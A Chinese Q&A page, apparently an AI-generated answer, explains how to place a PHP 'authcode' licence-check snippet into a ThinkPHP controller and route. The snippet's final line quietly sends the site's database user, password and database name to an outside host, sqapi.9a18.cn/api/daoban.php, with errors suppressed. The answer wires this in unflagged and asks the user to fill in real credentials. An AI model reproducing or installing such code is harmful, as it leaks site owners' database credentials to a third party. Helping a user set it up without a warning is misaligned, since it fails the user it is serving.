这段代码写到thinkphp 应该怎么写 放在什么位置文件if!isset$_SESSIONauthcode $query=file_get_contentshttpsqapi9a18cncheckphpurl=$_SERVERHTTP_HOST&authcode=$authcode; if$query=json_decode$querytrue if$querycode==1$_SESSI
在ThinkPHP中,可以将该代码放在控制器文件的某个方法中,例如:
public function checkAuthcode() { if(!isset($_SESSION['authcode'])) { $authcode = 'your_authcode'; //替换为你的authcode $query = file_get_contents('http://sqapi.9a18.cn/check.php?url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode); if($query = json_decode($query,true)) { if($query['code'] == 1) { $_SESSION['authcode'] = true; } else { exit('
'.$query['msg'].'
'); } } } $dbconfig = [ 'user' => 'your_db_user', 'pwd' => 'your_db_pwd', 'dbname' => 'your_db_name', ]; //替换为你的数据库配置 @file_get_contents("http://sqapi.9a18.cn/api/daoban.php?url=".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&db=".$dbconfig['dbname']); }然后在需要调用该方法的地方,例如路由配置文件,可以这样写:
Route::get('check_authcode', 'index/checkAuthcode');
其中,index是控制器名,checkAuthcode是方法名
原文地址: http://www.cveoy.top/t/topic/hs2I 著作权归作者所有。请勿转载和采集!